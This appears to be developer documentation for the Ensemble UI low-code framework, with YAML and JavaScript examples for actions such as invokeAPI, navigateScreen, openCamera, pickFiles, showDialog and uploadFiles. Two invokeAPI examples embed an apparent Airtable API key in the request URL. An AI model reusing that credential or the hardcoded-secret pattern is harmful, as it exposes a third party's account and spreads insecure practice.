- -## API response object -Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | -| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | -| headers | array | Key value pairs of http response headers | -| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | - -## API/invokeAPI properties -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | -| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | - -**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: - -```yaml -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - -### Usage examples of InvokeAPI - -Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well - -##### 1. Using ensemble invokeAPI action. - - - -````yaml -View: - onLoad: - invokeAPI: - name: getPeople - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - - - -##### 2. Using JavaScript code block to execute invokeAPI action. - - - -````yaml -View: - onLoad: | - //@code - ensemble.invokeAPI("getPeople"); - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - - - -- **Its similar to previous only that we are now using Javascript code block**. - -To call an API on button tap, inside the body add a Button with `onTap` property: - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: getPeople - - Column: - item-template: - data: ${getPeople.body.results} - name: item - template: - Text: - text: ${item.name.first} - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - - - -## POST calls with input parameters - -You can also create a POST request and pass parameters to the API like this - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDo - inputs: - name: "some value" - onResponse: | - //@code - var id = response.body.records[0].id; - postStatus.text = 'Record created: ' + id; - - Text: - id: postStatus - -API: - createToDo: - inputs: - - name - uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" - method: "POST" - body: - records: - - fields: - desc: "${name}" -``` - - - -## Handing errors - -To handle Errors, you can use the `onError` property: - - - -```yaml - - Text: - text: Handle error - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDoError - onResponse: | - //@code - apiStatus.text = 'Call was successful'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object - onError: | - //@code - apiStatus.text = 'API returned an error'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object - - Text: - id: apiStatus - -API: - createToDoError: - inputs: - - name - uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' - method: 'POST' - body: - records: "this is not what the API expects" -``` - - - -## Use in code - -You can also call an API in code block. - - - -```yaml - - Button: - label: Call API - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.invokeAPI("getNewYorkTime"); - - Text: - visible: ${getNewYorkTime.body != null} - text: Current time in NYC is ${getNewYorkTime.body.datetime} - -API: - getNewYorkTime: - uri: https://worldtimeapi.org/api/timezone/America/New_York - method: GET -``` - - - -## Properties for invokeAPI - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response | -| onError | Action | The action to handle errors | - -Details about API [here](/pages/build/user-interface/1-page-structure.md) - ---- - -# invokeHaptic - -invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity -and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| onComplete| action | Execute another Action post executing the haptic | - -**Example** - - - -```yaml -View: - header: - title: Haptic - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Using Action - onTap: - invokeHaptic: - type: lightImpact - onComplete: | - //@code - console.log("Haptic completed") - - Button: - label: Using JavaScript - onTap: | - //@code - invokeHaptic({type: lightImpact}) - - Button: - label: Using methods - onTapHaptic: lightImpact - onTap: | - //@code - console.log("Button Press") -``` - ---- - -# navigateBack - -`navigateBack` action allows users to go back to the previous screen or page within the app's navigation stack, enhancing user experience and facilitating smooth app navigation. Navigating back to the previous screen if possible. The current screen will be removed from the navigation history. This also works for a modal screen. - -**Example** - -Using navigateBack is straight forward. In ensemble when you visit a screen using [navigateScreen]() by default there is a back button in the header ( if there is a header ). Otherwise you can also associate navigateBack action with either a custom button or icon as you wish. - - - -```yaml -View: - title: "Action: navigateBack" - styles: - scrollableView: true - - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can open a new screen above the current one and use "navigateScreen" to navigate back to this main screen. - - Button: - label: Show Detail Page - onTap: - navigateModalScreen: - name: "Action: navigateBackModal" -``` - - - -can see complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# navigateModalScreen - -navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :------------------------------------------------------- | -| name | string | Enter the Name or ID of your screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| onModalDismiss | action | Execute an Action when the modal screen is dismissed | - -**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action - -**Example** - - - -```yaml -View: - title: "Action: navigateModalScreen" - styles: - scrollableView: true - - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can open new screen on above the main screen using action `navigateModalScreen` - - Button: - label: Show Modal - onTap: - navigateModalScreen: - name: Actions & events - - Markdown: - text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. - - Button: - label: Show Modal Using Code - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.navigateModalScreen('Actions & events'); - //with inputs - //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# navigateScreen - -navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. - -Like any other action, navigateScreen may be called in YAML or in the JS code. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :-------------------------------------------------------------------------------------- | -| name | string | Enter the Name or ID of your Screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| options | object | [see properties]() | -| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | -| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) - -#### Screen Transition -Animate screen transition from one to another. - -| Property | Type | Description | -| :--- | :--- | :---| -| type | string | [transition type](#transition-type) -| alignment | string | [transition alignment](#transition-alignment) -| duration | integer| duration of transition in millisecond - -#### transition-type -| name | -| :--- | -|fade | -|rightToLeft | -|leftToRight | -|topToBottom | -|bottomToTop | -|scale | -|rotate | -|size | -|rightToLeftWithFade | -|leftToRightWithFade | -|leftToRightPop | -|rightToLeftPop | -|topToBottomPop | -|bottomToTopPop | - -#### transition-alignment -|name| -|:---| -|topLeft| -|topCenter| -|topRight| -|centerLeft| -|center| -|centerRight| -|bottomLeft| -|bottomCenter| -|bottomRight| - -#### properties.options - -| Property | Type | Description | -| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | -| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | - -**Example: Calling navigateScreen - Detailed Examples for YAML and JS** - - - -```yaml -View: - title: "Action: navigateScreen" - styles: - scrollableView: true - - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can navigate to another screen using action `navigateScreen` - - Button: - label: Navigate to Home - onTap: - navigateScreen: - name: Home - - - Markdown: - text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. - - Button: - label: Navigate to Home using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen('Home'); - - - Divider - - - Markdown: - text: | - #### Pass inputs - You have the option of passing inputs to the target screen. - - - TextInput: - id: messageInput - label: Message to pass - value: Hello there - - - Button: - label: Navigate and pass inputs - onTap: - navigateScreen: - name: "Action: navigateScreen inputs demo" - inputs: - message: ${messageInput.value} - - - Button: - label: Navigate and pass inputs using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen({ - "name": "Action: navigateScreen inputs demo", - "inputs": { - "message": messageInput.value - } - }); - - - Divider - - - Markdown: - text: | - #### options: clearAllScreens - By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. - - When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. - - - Button: - label: Navigate and clear all screen history - onTap: - navigateScreen: - name: Home - options: - clearAllScreens: true - - - Divider - - - Markdown: - text: | - #### options: replaceCurrentScreen - Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. - - - Button: - label: Navigate to new screen and replace the current screen - onTap: - navigateScreen: - name: Home - options: - replaceCurrentScreen: true -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -**Example: Calling navigateScreen in Javascript** - -```javascript -//navigating to a screen without any options -ensemble.navigateScreen('My Screen'); -//navigating to a screen with options -ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} -``` - -### onNavigateBack - -We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. - -**Example** -Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We can call an API or update any particular parameter we want - -```yaml -navigateScreen: - name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" - inputs: - booking: ${booking} - onNavigateBack: |- - ensemble.debug("got back") -``` - -Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack - -```yaml -- Button: - label: Categories - styles: - outline: true - padding: 0 - labelStyle: - fontSize: 12 - color: 4288060321 - endingIcon: - name: chevron_right - color: 4288060321 - size: 16 - onTap: null - navigateScreen: - name: Spending - onNavigateBack: |- - //@code - getCategoriesAggregate(ensemble.storage.timeSpan); - -``` - -Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. - -- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateBack: - data: # optional, can be simple or complex - var1: 1 - var2: "s t r i n g" -``` - -on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateScreen: - name: nextScreen - onNavigateBack: |- - //@code - console.log("navigated back to main screen"); - console.log(event.data); -``` - -#### Screen Transition Example - -```yaml -View: - header: - title: Screen Transition - - body: - Button: - label: Navigate transition - onTap: - navigateScreen: - name: - transition: - type: rotate - duration: 1000 - alignment: center -``` - ---- - -# notification - -notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :-------------------------------------------- | -| onTap | action | Execute an Action on notification is tap. | -| onReceive | action | Execute an Action on notification is receive. | - ---- - -# openCamera - -`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after capture or selection is done. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------- | -| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | -| onComplete | action | Execute an Action after completing capturing media | -| onClose | action | Execute an Action on camera close | -| onCapture | action | Execute an Action on each capture | -| options | object | different options to chose for `openCamera` action. [see properties](#) | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | -| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | -| initialCamera | string | Initialize either camera, back or front. `back` `front` | -| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | -| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | -| allowFlashControl | boolean | Allow users to control flash options. Default (true). | -| preview | boolean | If set true, users can view captured/selected media. | -| maxCount | number | It used to control number of media that can be captured/selected | -| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | -| minCount | number | It used to control number of media that can be captured/selected | -| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | -| permissionDeniedMessage | string | Set custom message when access to camera is denied | -| nextButtonLabel | string | Set custom label on next button. | -| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](#icon-widget) | -| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](#icon-widget) | -| focusIcon | widget | Set custom icon for focus node. | -| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | -| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | -| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | - -##### Values for options.assistAngle - -| Property | Type | Description | -| :------------------------- | :----- | :-------------------------------------------- | -| minAngle | number | Minimum angle | -| maxAngle | number | Maximum Angle | -| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | - -##### Values for options.assistSpeed - -| Property | Type | Description | -| :----------------- | :----- | :-------------------------------------------- | -| maxSpeed | number | Maximum speed in km/hr. | -| assistSpeedMessage | number | Custom message to show when condition is hit. | - -**Usage Examples** - - - -```yaml -View: - header: - title: "Action: openCamera" - styles: - scrollableView: true - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Open Camera - onTap: - openCamera: - id: cameraId - - options: - mode: photo - - - Conditional: - conditions: - - if: ${cameraId.files.length > 0} - Carousel: - item-template: - data: ${cameraId.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with options - - - -```yaml -- Button: - label: Camera with options - onTap: - openCamera: - id: cameraId1 - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - maxCount: 2 - mode: photo - -- Conditional: - conditions: - - if: ${cameraId1.files.length > 0} - Carousel: - item-template: - data: ${cameraId1.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with advance options - -- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. -- assistSpeed, show message when phone goes beyond max speed. -- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value - - - -```yaml -- Button: - label: Camera with advance options. - onTap: - openCamera: - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - - assistAngle: - minAngle: 80 - maxAngle: 100 - assistAngleMessage: Please try to keep angle approx. 90 degree. - - assistSpeed: - maxSpeed: 10 - assistSpeedMessage: Please try to speed below 10 km/hr. -``` - - - -You can capture and upload to specified API - - - -```yaml - - Button: - label: Capture and upload - onTap: - openCamera: - id: captureMedia - onComplete: - uploadFiles: - id: uploader - files: ${captureMedia.files} - uploadApi: fileUploadApi - fieldName: files - inputs: - url: - - - - Markdown: - text: ${uploader.body} - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. - ---- - -# pickFiles - -pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | -| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | -| allowMultiple | boolean | Allow users to pick multiple files (default False) | -| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | -| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | - - -### Ensemble File object -The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. - - -| Property | Type | Description | -|:---|:---|:---| -| name | string | name of the file, could be null | -| size | integer | size of file in bytes, could be null | -| ext | string | extension of the file, could be null | -| path | string | file path, null on web, available in native mobile app | -| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | - -> [NOTE] -> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. - - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify `uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. - ---- - -# rateApp - -The "Rate Us" functionality is available only for iOS devices when the app is in production. - -```yaml -View: - header: - title: 'Action: RateApp' - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) - - Button: - label: Rate Us - onTap: - rateApp: -``` -The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. - ---- - -# requestNotificationAccess - -requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------- | -| onAccept | action | Execute an Action when notification permission has been granted | -| onReject | action | Execute an Action when notification permission has been rejected | - -**Example** - -The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works - - - -```yaml -View: - header: - title: "Action: showNotification" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - requestNotificationAccess: - onAccept: - showNotification: - title: A Notification - body: As you can see me working here -``` - - - -When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - -**Output** - -![Alt text](public/images/actions/image-.png) - -![Alt text](public/images/actions/image--2.png) - ---- - -# Share - -Using the native sharing capabilities of the device to provide users with the ability to share a specific piece of content. - -```yaml - - Button: - label: Open Share Sheet - onTap: - share: - title: EnsembleUI - text: https://ensembleui.com/ - - Text: - text: Works only on Native iOS and Android -``` -The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). - ---- - -# showDialog - -showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. - -### Properties - -| Property | Type | Description | -| :-------------- | :----- | :------------------------------------------------------------------------------ | -| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | -| options | object | [see properties](#propertiesoptions) | -| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | - -#### properties.options - -| Property | Type | Description | -| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| minWidth | integer | | -| maxWidth | integer | | -| minHeight | integer | | -| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | -| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | -| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | - -**Example** - -Here we are gonna see how we can - - - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - - body: - Column: - styles: { margin: 10, gap: 5 } - children: - # use inline widget - - Text: - text: Your dialog can also be an inline widget - - Button: - label: Show Dialog - onTap: - showDialog: - widget: - Text: - text: This dialog declares the widget inline and uses the default style. - - - Spacer: - styles: - size: 20 - - # use custom styling - - Text: - text: You can customize the dialog style - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: MyCustomDialog - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - -# Custom Widget -MyStartingDialog: - body: - Column: - styles: - gap: 10 - children: - - Text: - text: Welcome to Ensemble - styles: - fontSize: 16 - fontWeight: bold - - Text: - text: This dialog pops up when the user first visits the page. - - Button: - label: Close dialog - onTap: closeAllDialogs - -MyCustomDialog: - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - - - -**Output** - -![Alt text](public/images/actions/image--4.png) - -![Alt text](public/images/actions/image--5.png) - -**Example with inputs** - -We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - body: - Column: - styles: { margin: 10, gap: 5 } - children: - - Text: - text: You can customize the dialog style and provide inputs as well - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: - MyCustomDialog: - inputs: - name: Peter - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - - onDialogDismiss: | - //@code - console.log("dialog dismissed"); - -MyCustomDialog: - inputs: - - name - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - Hi ${name} - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -**Explanation** - -- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. - -**Output** - -![Alt text](public/images/actions/image--1.png) - -![Alt text](public/images/actions/image--3.png) - ---- - -# showNotification - -showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------- | -| title | string | Title of notification | -| body | string | Body of notification | - -**Example** - -You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - ---- - -# uploadFiles - -uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | -| uploadApi | string | Enter the name of your defined API | -| onComplete | action | Execute another Action upon successful upload of files | -| onError | action | Execute an Action when uploader fails with error(s) | -| inputs | array | Define the list of input names that upload API accepts | -| fieldName | string | Field name that your server is expecting (default files) | -| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | -| options | object | [see properties](#propertiesoptions) | - -#### properties.option - -| Property | Type | Description | -| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | -| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | -| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | -| backgroundTask | boolean | If set true, uploading will be done in background. | -| showNotification | boolean | If set true, progress will be show in notification bar. | -| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: uploadFiles" - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify 